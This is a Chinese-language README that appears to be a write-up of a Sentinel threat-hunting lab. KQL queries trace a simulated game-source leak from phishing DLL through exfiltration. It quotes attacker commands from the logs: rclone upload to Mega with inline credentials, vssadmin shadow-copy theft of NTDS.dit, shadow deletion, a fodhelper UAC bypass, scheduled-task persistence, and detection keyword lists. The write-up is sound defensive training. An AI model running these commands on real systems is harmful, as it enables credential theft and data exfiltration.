mcquade3/Emberforge-Source-Leak

GitHub: mcquade3/Emberforge-Source-Leak

一个基于 Microsoft Sentinel 的威胁狩猎实战练习,通过模拟游戏公司源码泄露场景教授安全分析师如何使用 KQL 追踪数据外泄的完整攻击链。

Stars: 0 | Forks: 0

# EmberForge - 源码泄露 ## CISO:“我们发生了数据泄露。我们的游戏开发子公司 EmberForge Studios 被入侵了。我现在需要你在 Sentinel 工作区待命。” ## EmberForge Studios 即将推出的游戏《Neon Shadows》的未发布源代码出现在了地下论坛中。泄露的材料包括专有的游戏引擎组件和未发布的资产。外部监控在出现泄露后 48 小时内发出了警报。 ### CISO:“4 小时后我有一个董事会。在我关心他们是如何入侵的之前,我需要知道他们偷了什么,以及数据被发送到了哪里。法务部门需要了解泄露通知的范围。” 在 `EmberForgeX_CL` 上运行查询以查找文件压缩的 IOC。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where Image_s has_any ( "powershell.exe", "pwsh.exe", "7z.exe", "7za.exe", "7zr.exe", "WinRAR.exe", "Rar.exe", "UnRAR.exe", "zip.exe", "tar.exe", "gzip.exe" ) | where CommandLine_s has_any ( "Compress-Archive", "-a ", " a ", // 7zip add "-tzip", "-txz", "-t7z", // 7zip type flags ".zip", ".rar", ".7z", ".tar", ".gz", "-p", "-hp" // password-protected archive ) | project TimeGenerated, UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s, ParentCommandLine_s | order by UtcTime_s asc ``` 查询显示了单个结果:`C:\GameDev` 被压缩的 `CommandLine_s` 值。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/16/163349acb19243d5ca44dd8a8c74b02556a0897dbe88f15aab5469d279f29940.png) ### 被盗数据被上传到了云存储服务。外泄工具的命令行包含服务名称和身份验证详细信息。哪个云提供商接收了数据? 对值为 `C:\Users\Public\update.exe` 的 `ParentCommandLine_s` 进行 Pivot。此二进制文件具有一个无害的名称,但被放置在一个可疑的位置。 由于我们知道外泄发生在压缩之后,我们将搜索窗口缩小到 `datetime(2026-01-30 23:11:28) .. datetime(2026-01-31 00:00)` 之间。我们还将搜索范围缩小到执行压缩的同一台机器上。 ``` EmberForgeX_CL | where Computer == "EC2AMAZ-16V3AU4.emberforge.local" | where todatetime(UtcTime_s) between (datetime(2026-01-30 23:11:28) .. datetime(2026-01-31 00:00)) | where CommandLine_s has "gamedev.zip" | project TimeGenerated, UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by UtcTime_s asc ``` 查询显示了两个事件,攻击者使用 `C:\Users\Public\rclone.exe` 将 `C:\Users\Public\gamedev.zip` 外泄到了云存储提供商 `mega`。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/8e/8e0002f9eea06f87f0e070d9b623c35cc31c270dfe0bef4b4b5a93e61c02db49.png) ### 攻击者犯了 OPSEC 错误。外泄工具的配置凭据在命令行中可见。使用了哪个电子邮件帐户对云服务进行身份验证? 运行查询以搜索单词 `mega`。还要在同一条命令中搜索电子邮件地址中始终包含的 `@` 符号。 ``` EmberForgeX_CL | where Computer == "EC2AMAZ-16V3AU4.emberforge.local" | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s contains "mega" and CommandLine_s contains "@" | project TimeGenerated, UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by UtcTime_s asc ``` 查询揭示了一个带有电子邮件地址 `jwilson.vhr@proton.me` 的单个事件。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/2b/2b96a5d3a23bca42b6f24d99b37d79ee183a39ec2757312dff507f4ef97a8ab4.png) ### 这不仅仅是一个工作站受损。域控上的证据表明,攻击者使用了卷影快照技术来访问锁定的系统文件。此文件包含域中的每个凭据。它是什么? 该文件是:`NTDS.dit` 这是域控上的 Active Directory 数据库——它包含每个域帐户的密码哈希。由于它在 AD 运行时始终处于锁定状态,攻击者无法直接复制它;他们滥用 **Volume Shadow Copy**(通过 `vssadmin`、`wmic shadowcopy`、`diskshadow` 或 `ntdsutil` “IFM” 快照等内置工具)来创建卷的时间点快照,然后从该快照中提取 `NTDS.dit`(加上解密哈希所需的 `SYSTEM` 注册表配置单元)。 为了确认并获取此报告的确切命令/时间戳,在域控上搜寻经典的卷影复制滥用指标: ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s has_any ( "vssadmin", "shadowcopy", "shadow copy", "diskshadow", "ntdsutil", "ifm", "NTDS.dit", "SYSTEM.hiv", "SAM.hiv", "vssown", "wmic shadowcopy" ) | project TimeGenerated, UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by UtcTime_s asc ``` 查询确认了五个与 `NTDS.dit` 相关的危害指标 (IOC) ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/7f/7fbfb008ef61a79b44308b81aa8d348f6340f9027f60becea3f7cfc222d89d02.png) | 时间 (UTC) | 操作 | | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 23:34:56 | `vssadmin list shadows /for=C:` — 对现有卷影副本进行侦察 | | 23:35:04 | `vssadmin create shadow /For=C:` — 创建 C: 卷的新卷影副本 | | 23:35:06 | `vssadmin list shadows /for=C:` — 确认新卷影副本存在 | | 23:35:15 | `copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\nyMdRNSp.tmp` — **从卷影副本中复制 NTDS.dit**,并暂存在 Temp 下一个随机命名的文件中 | | 23:35:17 | `vssadmin delete shadows /shadow={0ed56514-fe1b-4ef9-a2b1-d468122c1920} /Quiet` — 删除卷影副本以掩盖踪迹 | ### CISO:“我需要了解外泄路径。他们使用了什么工具?他们从哪里进行暂存?我们能确认这是数据离开网络的唯一方式吗?” ### 数据并不总是从被发现所在的机器上离开的。检查所有主机。 ### 一个云同步工具被用于向外部上传数据。此工具是常被威胁行为者滥用的合法软件。它被执行了多次,并非所有执行都成功。 搜索用于数据外泄的合法软件的使用情况。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 02:00)) | where Image_s has_any ( "rclone.exe", "rclone", "MEGAsync.exe", "megacmd.exe", "OneDriveStandaloneUpdater.exe", "OneDrive.exe", "Dropbox.exe", "DropboxUpdater.exe", "GoogleDriveSync.exe", "googledrivesync.exe", "SyncEngine.exe", "cyberduck.exe", "winscp.exe", "filezilla.exe" ) | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by Computer asc, UtcTime_s asc ``` 查询显示仅运行了 `rclone`,并且仅在一台机器 `EC2AMAZ-16V3AU4.emberforge.local` 上运行。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/90/903e7b9c4e6379a4451de43180adb91c21f741f0a4661efa695b7204de63a64d.png) | 时间 (UTC) | 命令 | 目的 | | ---------- | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | | 23:06:36 | `rclone.exe version` | 工具验证 — 确认 `update.exe` 释放 rclone 后其能正常工作 | | 23:07:45 | `rclone.exe --config rclone.conf copy C:\GameDev mega:exfil -v` | **第一次尝试** — 尝试使用配置文件直接复制原始 `C:\GameDev` 文件夹,该文件可能还没有有效的凭据 | | 23:08:28 | `rclone.exe copy C:\GameDev mega:exfil --mega-user jwilson.vhr@proton.me --mega-pass Summer2024! -v` | **第二次尝试** — 重试原始文件夹的复制,这次以内联方式传递凭据(即之前发现的 OPSEC 失误) | | 23:08:34 | `rclone.exe listremotes --config rclone.conf` | 检查已配置的远程连接 — 可能是在失败后进行故障排除 | | 23:10:31 | `rclone.exe obscure Summer2024!` | 使用 rclone 内置的 `obscure` 命令生成密码的编码/混淆版本 — 然后将其正确写入到 `rclone.conf` 中 | | 23:11:44 | `rclone.exe --config rclone.conf copy C:\Users\Public\gamedev.zip mega:exfil -v` | **第三次尝试** — 现在上传*已压缩的* `gamedev.zip`(压缩发生在 23:11:28,就在此之前) | | 23:12:52 | 重复相同的命令 | 可能是相同 zip 上传的重试/继续 — 可能表明是断点续传或验证过程 | ### 外泄工具在上传期间进行了出站网络连接。将该工具的进程与其网络活动 (EventCode 3) 相关联。哪个 IP 地址接收了被盗数据? 运行查询以搜索与 `rclone.exe` 一起使用的目标 IP 地址。 ``` EmberForgeX_CL | where Computer == "EC2AMAZ-16V3AU4.emberforge.local" | where todatetime(UtcTime_s) between (datetime(2026-01-30 23:06:00) .. datetime(2026-01-30 23:15:00)) | where EventCode_s == "3" | where Image_s has "rclone.exe" | project UtcTime_s, Computer, Image_s, SourceIP, SourcePort_s, DestinationIp_s, DestinationPort_s, DestinationHostname_s | order by UtcTime_s asc ``` 查询显示目标 IP 为 `66.203.125.15`。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/e6/e641d9fcb57632fa57fbae263defc5f86147a354e07a85eca60e908ee58da75d.png) ### 外泄工具在攻击者对身份验证问题进行故障排除时被执行了多次。其中一种执行方式比其他方式更肆无忌惮地暴露了凭据。比较所有执行过程并找到明文密码。 运行查询以在命令行中查找 `pass`。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 02:00)) | where CommandLine_s contains "pass" and CommandLine_s contains "rclone" | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by UtcTime_s asc ``` 查询显示了两个与 `rclone` 相关的通过命令行传递的密码:一个是明文,另一个是哈希值。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/90/9060f5ab895efb4ed9146a276ccf3af9d5d121ec0595630dcb51264c1658183f.png) 密码是 `Summer2024!`。 ### 在外泄之前,被盗数据被压缩到一个归档文件中。攻击者使用了操作系统的内置功能,而不是第三方工具。这是一种 Living Off The Land 技术。是哪个 cmdlet 创建了这个归档文件? 运行查询以查找之前的 `.zip` 归档文件。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s contains "C:\\GameDev" and CommandLine_s contains ".zip" | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s, ParentCommandLine_s | order by UtcTime_s asc ``` 返回的查询结果显示使用了 `Compress-Archive` cmdlet。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/41/419c0b79fa4c957538c38c93da7b280ec723859bb0318b5f488e3c1209d40323.png) ### 攻击者没有手动携带工具。他们从自己控制的外部基础设施下载了实用程序。环境中的多个命令都引用了同一个暂存服务器。 运行查询以查找暂存服务器。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s has_any ( "Invoke-WebRequest", "iwr", "wget", "Invoke-RestMethod", "irm", "certutil", "bitsadmin", "curl", "Start-BitsTransfer", "DownloadFile", "DownloadString", "Net.WebClient" ) | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by Computer asc, UtcTime_s asc ``` 查询显示了对同一暂存服务器的 8 个连接:`http://sync.cloud-endpoint.net:8080` ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/ce/ce027eaa4116214e990fb096125eb0e8b640c9677837964a9a27cf8554d626e6.png) ### **在继续之前:**您是否检查了其他外泄渠道?DNS 隧道?到外部服务的 HTTP POST?记录下您检查过并排除了什么。 **DNS 隧道指标**(对单个域的高查询量、异常的查询长度/熵): ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where EventCode_s == "22" or EventID_s == "22" // Sysmon DNS query event — confirm actual field/value first | project UtcTime_s, Computer, Image_s, QueryName_s, QueryResults_s | order by Computer asc, UtcTime_s asc ``` 查询找到了 70 条 DNS 记录,但没有发现 DNS 隧道的迹象。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/77/7736b18c2b059ee765457d6f7d64e6899c010ace8aa0406efd296d0446abe7aa.png) TXT/NULL 记录滥用 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where isnotempty(QueryName_s) | summarize QueryCount=count(), SampleQueries=make_set(QueryName_s, 5) by Computer, tostring(split(QueryName_s, ".")[-2]), tostring(split(QueryName_s, ".")[-1]) | where QueryCount > 20 | order by QueryCount desc ``` [未找到结果] **超出目前已发现范围的 HTTP POST / 出站 Web 活动:** ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s has_any ("POST", "-Method Post", "-X POST", "UploadFile", "UploadString", "multipart") | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s ``` [未找到结果] **所有 EventCode 3 网络连接,未按进程过滤** ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where EventCode_s == "3" or EventID_s == "3" | project UtcTime_s, Computer, Image_s, DestinationIp_s, DestinationPort_s, DestinationHostname_s | summarize ConnectionCount=count() by Computer, Image_s, DestinationIp_s, DestinationHostname_s, DestinationPort_s | order by ConnectionCount desc ``` 查询返回了 28 条日志,确认 `EC2AMAZ-16V3AU4` 上的 `rclone.exe` 与 `66.203.125.15 `(`bt5.api.mega.co.nz`)建立了精确的**一次连接**,端口为 `443`。这是实际的数据传输端点(与之前在 DNS 中看到的 API 查找主机 `g.api.mega.co.nz`/`lu.api.mega.co.nz` 不同)——这就是 `gamedev.zip` 的去向。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/18/18e1c186a9ffc88233278b4f2552435e5bfec3963964201c19cda06155c516cd.png) 我们现在可以充满信心地说:**确认了一条外泄路径**(rclone → Mega IP `66.203.125.15`,一台主机,一个归档文件)。我们**目前还不能**说这是*唯一*的路径——大量的 Cloudflare 信标活动是最有可能改变这一结论的悬而未决的问题。在董事会召开之前,我们会优先获取这些连接的字节数/方向数据,而不是处理其他任何剩余事项。 ### 更新后的各渠道状态 **Mega/rclone —— 已确认,单台主机,单次连接。** 只有 `EC2AMAZ-16V3AU4` 显示了任何 rclone 网络活动。在此数据中,**`EC2AMAZ-B9GHHO6` 上未出现任何 rclone/Mega 连接**——这明确排除了在第三台主机上存在第二条 Mega 外泄路径的可能性,从而解决了之前的遗留问题。 **`cdn.cloud-endpoint.net` / `sync.cloud-endpoint.net`(Cloudflare IP 104.21.30.237 / 172.67.174.46)—— 将其重新归类为更大的隐患,尚未解决。** 这里的连接数量非常引人注目:`EC2AMAZ-B9GHHO6` 上的 `rundll32.exe` 与这些 IP 建立了 **1,955 次和 1,435 次连接**,并且 `update.exe` 在两台主机上都发起了数百次连接。这个数量远远超过了一次性工具下载所需的量——获取 `AnyDesk.exe`/`update.exe` 只需要少量的连接。这种模式(对同一个由攻击者控制的 Cloudflare 前置域的重复、持续的连接)看起来像是 **C2 信标活动**,并且该数据集无法说明方向或有效负载——这意味着**基于该渠道的 POST 外泄或命令与控制 (C2) 尚未被排除**。在您可以告诉法务部门它未被用于转移数据之前,这需要进行数据包级别或代理日志的审查(每次连接发送与接收的字节数)。 **`rundll32.exe` 联系此基础设施本身就是一个危险信号** —— `rundll32.exe` 是常用于代理/加载恶意代码的 LOLBin,并且它不应该是一个需要独立地、成百上千次地联系外部 CDN 域名的进程。这可能表明存在独立于 `update.exe` 释放程序的持久化或 C2 模块——值得进行专门的深入 Pivot。 **AnyDesk —— 审查了流量模式,仍无法排除文件传输外泄。** 这里的连接是中继/多播流量(233.255.102.18 是本地多播发现;中继 IP 是 AnyDesk 的真实基础设施)——这与交互式远程控制会话一致,流量较小。这既不能确认也不能否认是否通过它移动了文件;AnyDesk 的文件传输功能不一定会在这个连接计数视图中显示出不同### **CISO:** *“他们是如何进入的?我需要知道 Lisa 是否是被特定针对的,或者这只是一次机会性攻击。我们需要提醒团队的其他人吗?”* ### 逆向推导。将进程链追溯到最初的恶意执行。 ### 事件始于 Lisa 从她的桌面上打开了某些东西。在工作站上找到最早的恶意进程创建事件。某个 Windows 实用程序被用于加载一个不属于正常用户工作流的文件。 我们可以假设 Lisa 在点击恶意程序时登录了她自己的帐户。运行查询以查看此时间段内使用的所有用户名。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | distinct user_s ``` 由于只有一个以 L 开头的名字 `lmartin`,我们可以合理地假设这是 Lisa 的帐户。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/f2/f2b57a581a36815d8507fae9c4a3f32f12619b54038f6d3e94b3162187136145.png) 过滤查询,使其仅包含发生在 `lmartin` 帐户上的事件。 ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where user_s == "lmartin" | distinct CommandLine_s | order by CommandLine_s asc ``` 结果揭示了一种经典的 LOLBin 技术。 `"C:\Windows\System32\rundll32.exe" D:\review.dll,StartW` ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/59/59f07a2c5748f3f19dacb5874cd332ab7f97dc214ab64a59da589e5d208164dc.png) **这极有可能是感染源 (patient zero)。** `rundll32.exe` 通过导出名 `StartW` 加载 `D:\review.dll` 完全符合提示的描述:*“某个 Windows 实用程序被用于加载一个不属于正常用户工作流的文件。”* 这之所以突出的几个原因: - **`rundll32.exe` 通过导出名执行 DLL** 是一种经典的 LOLBin 技术 (T1218.011) —— 这不是正常用户工作流会做的事情;这是恶意软件加载器(包括已知的 Cobalt Strike 风格的 beacon)在混入看起来合法的进程活动时被执行的方式。 - **`review.dll`** 作为文件名是一个强烈的社会工程信号——它读起来就像一个诱饵(例如,“请审查此文档/交付物”),这与针对性钓鱼文件一致,而不是通用的有效负载。 - **`D:\`** 表明此文件是通过可移动介质、挂载的 ISO/VHD(一种常见的钓鱼投递技术——伪装成自动挂载为新驱动器号的磁盘映像的附件)或映射的网络共享到达的——这些中的任何一个都可以解释为什么它“不属于正常用户工作流”。 该数据集还证实了在同一帐户下进行的重大后续攻击者活动:一次 **fodhelper.exe UAC 绕过** (`reg add HKCU\Software\Classes\ms-settings\shell\open\command ... update.exe`),针对 `update.exe` 的**计划任务持久化** (`schtasks /create /tn WindowsUpdate ...`),以及**域侦察** (`net group "Domain Admins" /domain`、`nltest /dclist`、`whoami /priv`) —— 所有这些都在 `lmartin` 的上下文中,这强烈表明这是专门针对 Lisa 的帐户的,而不是偶然的。 为了确定确切的链和时间戳,运行: ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00) .. datetime(2026-01-31 00:00)) | where user_s == "lmartin" | where CommandLine_s has "review.dll" | project UtcTime_s, Computer, user_s, Image_s, CommandLine_s, ParentImage_s, ParentCommandLine_s | order by UtcTime_s asc ``` 查询给出了单个结果: ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/5c/5cbee0d05d56dcdd0718ab62ae6d34e15707f6199f57be21284ed802e0bc9581.png) 这确认了感染源 (patient zero)。为 CISO 提供的完整情况: ### 初始访问 —— 已确认 **21:27:03 UTC,`EC2AMAZ-B9GHHO6.emberforge.local`,用户 `lmartin` (Lisa Martin)** `explorer.exe` —— 意味着 Lisa 直接双击了某些东西 —— 启动了: ``` rundll32.exe D:\review.dll,StartW ``` 这是整个事件中真正的第一次恶意执行,大约在之前发现的 `AnyDesk.exe`/`update.exe` 下载 (`22:10:52`+) 的 **43 分钟前**。此次狩猎中的所有其他内容 —— AnyDesk、update.exe、rclone、NTDS.dit 提取、Mega 上传 —— 都是由这单次点击引发的。 ### 这告诉了你什么 **他们是如何进入的:** `D:\` 不是工作站上正常的固定磁盘驱动器号——这种模式与**挂载为虚拟驱动器的 ISO 或 IMG 文件**一致,这是一种众所周知的钓鱼投递技术,它之所以流行,特别是因为它绕过了在直接附加的可执行文件上通常会触发的 Mark-of-the-Web 警告。Lisa 几乎可以肯定打开了一个自动挂载为 `D:\` 的电子邮件附件(或下载的文件),而看起来像是要审查的文档(`review.dll` —— 注意故意以文档为主题的文件名)实际上是一个恶意的 DLL,它是通过 `rundll32.exe ,` LOLBin 技术执行的,而不是正常的双击打开。 **针对性 vs. 机会性:** 文件名 `review.dll`,加上字面上名为 `StartW` 的导出,表明了刻意的、旨在看起来像 Lisa 理所当然会打开的东西(一份“供审查”的文档)的社会工程学——而不是通用的盲发或大规模滥发有效负载。这是一个倾向于**针对性**的信号,但它本身并不是决定性的;一个通用的钓鱼工具包可能会针对许多人将“review”作为常见的诱饵主题重用。要真正回答“Lisa 是否被特定针对”,您还需要进行一项检查——这个文件/诱饵是否发送给了或被环境中的其他任何人打开过? ``` EmberForgeX_CL | where todatetime(UtcTime_s) between (datetime(2026-01-30 18:00) .. datetime(2026-01-31 00:00)) | where CommandLine_s has "review.dll" or CommandLine_s has ",StartW" | project UtcTime_s, Computer, User_s, Image_s, CommandLine_s, ParentImage_s | order by UtcTime_s asc ``` 此查询仅返回了来自 Lisa 帐户的事件。没有其他用户受到影响。 ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/b2/b26e2545cf49b02c7103f717a293b083fbe32d06fe0555350c72439182db33d9.png) ### 您需要提醒团队的其他人吗? 是的,无论针对性还是机会性的结论如何——有两个独立的原因: 1. **全域范围的凭据暴露**已得到确认(NTDS.dit),因此域中的每个帐户都需要被视为存在风险,而不仅仅是 Lisa 的。 2. **横向传播**已得到确认——相同的 `update.exe`/`AnyDesk` 工具包落在了第二台工作站 (`EC2AMAZ-16V3AU4`) 和域控上,所以这从来都不是仅限于一个人的机器的。 ### 查看恶意文件的完整路径。驱动器号具有重要意义。如果文件不在 C: 盘上,请考虑它是如何到达那里的。挂载的磁盘映像 (ISO, IMG, VHD) 显示为虚拟驱动器,并绕过某些 Windows 安全保护。 根据我们之前的调查,执行恶意文件的驱动器是 `D:`。 ### 进程创建事件中的 User 字段告诉您哪个帐户执行了有效负载。这就是感染源 (patient zero)。 我们知道 `lmartin` 是受影响的帐户。 ### 每个进程都有父进程,而该父进程也有它自己的父进程。跟踪从用户操作一直到加载恶意文件的完整执行链。 根据我们已经确认的信息,此链条实际上已经完整了——只是很短,因为 `explorer.exe` *就是*这里的根源(它代表的是 Lisa 自己的交互式操作,而不是另一个需要进一步追溯的进程)。 ``` explorer.exe (Lisa's interactive desktop session — the user action itself)     │ 21:27:03.300     └─→ rundll32.exe D:\review.dll,StartW (malicious file loaded)``` ``` 完整的链条是 `explorer.exe > rundll32.exe > review.dll`。 ### 在加载恶意 DLL 之前,用户打开了一个下载的压缩包。一个压缩工具将其内容提取到了用户配置文件中的一个文件夹。这个提取步骤发生在 DLL 执行之前。 由于这发生在 `21:27:03` 的 DLL 执行之前,我们正在查看此之前的时间窗口,寻找一个归档工具(可能是内置的 Windows 提取工具或常见的第三方工具)写入到 `C:\Users\lmartin\` 下的文件夹。 运行查询以搜索压缩工具。 ``` EmberForgeX_CL | where Computer == "EC2AMAZ-B9GHHO6.emberforge.local" | where todatetime(UtcTime_s) between (datetime(2026-01-30 20:00) .. datetime(2026-01-30 21:27:03)) | where user_s == "lmartin" | where CommandLine_s has_any ("zip", "rar", "7z", "Downloads", "Expand-Archive", "extract") | project UtcTime_s, Image_s, CommandLine_s, ParentImage_s, ParentCommandLine_s, user_s | order by UtcTime_s asc ``` 查询返回了三行,其中一行揭示了正在解压缩的文件:`"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\" -spe -an -ai#7zMap13315:120:7zEvent17197` ![](https://static.pigsec.cn/wp-content/uploads/repos/cas/79/79fe6229908f47161c5a54eb007eed2a2f38dac93b373d4aeed18175bd8ef615.png) 答案是 `7zG.exe > C:\Users\lmartin.EMBERFORGE\Downloads\EmberForge_Review\`。
标签:KQL, Terraform 安全, 代码示例, 安全, 数字取证, 数据分析, 自动化脚本, 超时处理